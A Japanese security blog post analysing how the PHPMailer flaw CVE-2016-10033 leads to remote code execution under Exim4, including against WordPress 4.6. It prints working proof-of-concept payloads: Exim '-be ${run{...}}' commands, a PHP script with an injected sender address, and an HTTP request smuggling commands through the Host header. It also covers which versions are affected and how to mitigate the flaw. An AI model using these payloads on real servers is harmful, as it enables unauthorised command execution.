エグゼクティブサマリ
PHPMailerのリモートコード実行脆弱性CVE-2016-10033は、従来MTAとしてsendmailを用いる場合のみ影響があるとされていた。また、WordPressはPHPMailerをバンドルしているが、CVE-2016-10033によるWordPressに対するリモートコード実行攻撃はできないとされていた。しかし、MTAとしてExim4を用いる場合には、PHPMailer単体およびWordPress 4.6からのリモートコード実行が可能であることがわかったので報告する。はじめに
昨年末に話題となったPHPMailerのリモートコード実行脆弱性CVE-2016-10033ですが、当初公表されていたPoCがsendmailコマンドの -X オプションを用いたものであったため、-X オプションのないMTA(postfix, qmail, exim4等)は直ちに影響はないだろうと見られていました。Postfixを使っていて、sendmailコマンドの代わりにPostfixのsendmailコマンドを使っている場合は、Postfixのsendmailコマンドが -X オプションを無視するようですので大きな影響を受けないと思います。ただ、別のオプションで違う脆弱性が発生する可能性もあるので、PHPMailerはアップデートしたほうが良いですね。また、WordPressも内部にPHPMailerをバンドルしているものの、WordPressコアを用いる限りPHPMailerの脆弱性の影響はないと公表されていました。
PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
「WordPress」のコアに存在するファイルにも「PHPMailer」に由来するコードが含まれていることが判明しているが、同問題に対して「WordPress」のセキュリティチーム関係者は、コア部分で提供されている関数「wp_mail()」を利用している限り、今回公開された脆弱性の影響を受けないとコメント。ところが、実はそうでもなかったことを以下のツイートで知りました。
「PHPMailer」の脆弱性、「WordPress」などでは悪用できずより引用
以下、上記から参照されている記事(2017年5月3日公開)を元に調べた内容を報告します。デフォルト設定のWordpress Core 4.6に認証前の任意のコード実行の脆弱性があるそうです。。凄いことになりそうです。検証コードも公開されている: https://t.co/xkHIWIJRRW— yamatosecurity (@yamatosecurity) 2017年5月4日
Exim のString Expansionによるコード実行
前述のように、従来の攻撃方法(参照)はsendmailの -X オプションを用いることから、sendmail以外のMTAは-Xオプションがなく、攻撃ができないと一般には思われていました。しかし、他の攻撃経路を探し続けている人もいて、新たな攻撃経路が公開されました。それは、Exim4のString Expansionという機能(参照)を用いるものです。元記事には背景等の説明がありますが、いきなり具体例を示しましょう。以下の実行例は、MTAとしてExim4を用いる環境を想定しています。実験には、Ubuntu14.04上のExim4を用いています。以下は、sendmailコマンド(exim4コマンドにシンボリックリンクされている)の -be オプションを用いて whoami コマンドを実行する例です。
以下は、touchコマンドで /tmp/xxxx というファイルを作成する例です。$ sendmail -be '${run{/usr/bin/whoami}}' ockeghem
$ sendmail -be '${run{/usr/bin/touch /tmp/xxxx}}'
PHPMailerからexim4を呼び出す場合のPoC
上記を用いて、PHPMailerの脆弱性を悪用する方法を説明します。従来のPoCとは違って、メールアドレスのコメントを用いる方法が紹介されています。PHPMailerはメールアドレスがRFC5322準拠であることを確認しているので、RFC5322の範囲で攻撃するためにコメントを用いているのです。以下のPoCは、CVE-2016-10033を悪用して ps -f コマンドを実行するものです。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'ockeghem@example.jp';
$from = 'wordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} )';
$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->setFrom($from, 'wordpress');
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body = '';
if(!$mail->send()) {
echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
echo "Message has been sent\n";
}
実行結果は以下となります。ps -fが実行されていることが分かります。また、sendmailコマンドの起動パラメータも分かり、興味深いですね。ところで、PoC中の ${substr{10}{1}{$tod_log}} は何でしょうか? これは、実は空白なのです。-be に渡すパラメータ中に空白があるとString Expansionが2つに分かれてしまうため、見かけ上空白を用いないでPoCを書く必要があります。このため、$tod_log (現在日時)と部分文字列機能を利用して空白を作っています。これらの詳細については、String Expansionのドキュメントを参照下さい。$ php phpmailer.php UID PID PPID C STIME TTY TIME CMD ockeghem 2159 2158 0 12:29 pts/4 00:00:00 -bash ockeghem 4513 2159 0 21:12 pts/4 00:00:00 php pm.php ockeghem 4515 4513 0 21:12 pts/4 00:00:00 /usr/sbin/sendmail -t -i [次行に続く] -fwordpress@example.jp(aaa -be ${run{/bin/ps${substr{10}{1}{$tod_log}}-f}} ) ockeghem 4517 4515 0 21:12 pts/4 00:00:00 /bin/ps -f ) Message has been sent
ということで、MTAとしてEximを用いている場合にも、PHPMailerの脆弱性 CVE-2016-10033の影響があるとが分かりました。
WordPress 4.6からのリモートコード実行PoC
それでは、いよいよWordPress 4.6からのリモートコード実行の説明をしましょう。攻撃には、パスワードリセットの機能を悪用します。以下は、WordPress 4.6 の wp-includes/pluggable.php からの引用です。$from_email がセットされていない場合、環境変数 SERVER_NAME からHostヘッダを参照して、Fromメールアドレスのドメインパートとしています(ローカルパートは wordpress 固定)。この際にホスト名を小文字に変換していることから、従来のPoC(大文字の -Xオプションを用いる)は使用できません。if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; }
PHPMailerのCVE-2016-10033脆弱性を悪用するには、Fromヘッダではなく、エンベロープFromをセットする必要がありますが、それは同じファイルの下記で行われます。
PHPMailerのsetFromメソッドには、省略可能な第3引数 $auto (デフォルト値は true)があり、trueの場合 FromヘッダとともにエンベロープFromにも $from_email の値をセットします(PHPMailerのリファレンス)。かくして、ホストヘッダ経由で攻撃文字列をエンベロープFromにセットすることができます。$phpmailer->setFrom( $from_email, $from_name );
ここで、「ホストヘッダに空白や括弧などが入るのか? ホスト名に用いることのできる文字は厳しく制限されているはずだが?」という疑問を持たれた方も多いと思いますが、現実のApacheの実装ではスラッシュ「/」以外の記号を含む多くの文字を渡すことができます。スラッシュが使えないと攻撃が不自由ですが、空白を作ったのと同様の方法で、下記によりスラッシュを作ることができます。
$ sendmail -be '${substr{0}{1}{$spool_directory}}'
/
ここまで準備をすると、WordPress 4.6への攻撃ができます。以下は、/tmp/testを作成(touch)するPoCです。攻撃文字列は Host ヘッダに入っています。POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password
WordPress 4.6以外のバージョンではどうか?
WordPress 4.6とEximが動いている環境ではリモートコード実行ができてしまうというのは衝撃的な内容ですが、それでは他のバージョンは大丈夫でしょうか? 元のドキュメントでは以下のように「対策された4.7.1までのバージョンは影響あるかも」と書いていますが、私の調べた範囲では 4.6 以外では影響はないようです。The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected.その理由は、$from_email がエンベロープFromに渡るバージョンが 4.6 だけだからです。
4.5.xまでのWordPressは以下のようになっており、エンベロープFromに値はセットされません。
4.6.1以降では、以下のようにsetFromメソッドの第3引数に false が明示されるようになりました。従って 4.6.1以降でもエンベロープFromに値はセットされません。$phpmailer->From = apply_filters( 'wp_mail_from', $from_email ); $phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name );
上記から、WordPress 4.6以外(4.5.x以前、4.6.1以降)では、上記攻撃の影響はないと考えられます。試みにいくつかのバージョン(4.5 / 4.5.3 / 4.6.1 / 4.6.2 / 4.7 / 4.7.1)で試してみましたが、4.6以外では再現しないことを確認しています。$phpmailer->setFrom( $from_email, $from_name, false );
対策
WordPress、PHPMailerのどちらにも言えることですが、ソフトウェアを最新版にバージョンアップすることで対策になります。HOSTヘッダ経由での攻撃全般に効果のある保険的対策として、「デフォルトのバーチャルホストをダミーとして、本番のバーチャルホストは2番目以降に設定する」方法をお勧めします(参照)。この方法は元々DNSリバインディング対策として拙著で紹介していたものですが、IPアドレスでのサイト閲覧による攻撃(無差別的な攻撃に多い)や、今回紹介したようなHostヘッダに攻撃文字列を入れるタイプの攻撃を無効化します。
まとめ
MTAとしてExim4を用いている場合に、PHPMailerの脆弱性CVE-2016-10033の影響があり、WordPress 4.6を用いている環境でもリモートコード実行ができることを紹介しました。当初、これらは当該脆弱性の影響はないと見られていたものですが、「実は影響があった」ことになります。このようなケースもままあることですので、トリアージ(脆弱性の緊急度判断)の結果「影響なし」と判断された場合でも、あまり遅くならないタイミングでライブラリやプラットフォームのバージョンアップをしておくことをお勧めします。
Exim4と言えば、DebianのデフォルトMTAですので、特にDebianユーザが影響を受ける可能性が高いと考えられます。といっても、CVE-2016-10033が発表されてから既に4ヶ月以上経過しているので、既にバージョンアップ済みであることを祈りたい気分です。
参考文献
- WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit
- PHPMailerの脆弱性CVE-2016-10033について解析した | 徳丸浩の日記
- PHPのmail関数、mb_send_mail関数のマニュアルに警告が追記されていた | 徳丸浩の日記
- PHPのescapeshellcmdを巡る冒険はmail関数を経てCVE-2016-10033に至った | 徳丸浩の日記
- 11 - String expansions (Exim4 Reference)
- PHPMailer Reference (setFrom)
- 間違いだらけの「かんたんログイン」実装法 (3/3)
HASHコンサルティング広告
HASHコンサルティング株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。サービス案内 | HASHコンサルティング株式会社